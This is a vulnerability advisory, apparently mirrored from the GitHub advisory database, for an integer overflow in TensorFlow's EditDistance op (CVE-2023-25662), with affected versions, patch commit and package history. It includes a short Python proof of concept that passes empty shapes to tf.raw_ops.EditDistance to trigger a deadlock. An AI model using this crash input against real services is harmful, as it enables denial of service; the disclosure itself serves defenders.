TensorFlow vulnerable to integer overflow in EditDistance
Impact
TFversion 2.11.0 //tensorflow/core/ops/array_ops.cc:1067 const Tensor* hypothesis_shape_t = c->input_tensor(2); std::vector<DimensionHandle> dims(hypothesis_shape_t->NumElements() - 1); for (int i = 0; i < dims.size(); ++i) { dims[i] = c->MakeDim(std::max(h_values(i), t_values(i))); }
if hypothesis_shape_t is empty, hypothesis_shape_t->NumElements() - 1 will be integer overflow, and the it will deadlock
import tensorflow as tf
para={
'hypothesis_indices': [[]],
'hypothesis_values': ['tmp/'],
'hypothesis_shape': [],
'truth_indices': [[]],
'truth_values': [''],
'truth_shape': [],
'normalize': False
}
tf.raw_ops.EditDistance(**para)Patches
We have patched the issue in GitHub commit 08b8e18643d6dcde00890733b270ff8d9960c56c.
The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1
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Attribution
This vulnerability has been reported by r3pwnx
Betroffene Software
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| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Python (PyPI) | tensorflow | < 2.11.1 | 2.11.1 |
| Python (PyPI) | tensorflow-cpu | < 2.11.1 | 2.11.1 |
| Python (PyPI) | tensorflow-gpu | < 2.11.1 | 2.11.1 |
Verweise
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-7jvm-xxmr-v5cw
- https://nvd.nist.gov/vuln/detail/CVE-2023-25662
- https://github.com/tensorflow/tensorflow/commit/08b8e18643d6dcde00890733b270ff8d9960c56c
- https://github.com/tensorflow/tensorflow
- https://pypi.org/project/tensorflow-gpu
- https://github.com/advisories/GHSA-7jvm-xxmr-v5cw
- https://pypi.org/project/tensorflow
- https://pypi.org/project/tensorflow-cpu
- CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H- Schwäche (CWE)
CWE-190- Plattform
- Python (PyPI)
- Paket
tensorflow, tensorflow-cpu, tensorflow-gpu- Veröffentlicht
- 24.03.2023
- Aktualisiert
- 11.10.2026 15:17
Quellen und Lizenzen
OSV / GitHub Advisory Database - PYSEC-2026-1958 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-3130 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-3293 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-7jvm-xxmr-v5cw - CC BY 4.0
Schwachstellenhistorie: tensorflow
Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 433
- Erste → letzte
- 04.2019 07.2024
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Kritisch 6
- Hoch 112
- Mittel 210
- Niedrig 105
Veröffentlichungen pro Jahr
- 2019: 7
- 2020: 35
- 2021: 200
- 2022: 169
- 2023: 21
- 2024: 1
- 2025: 0
- 2026: 0
-
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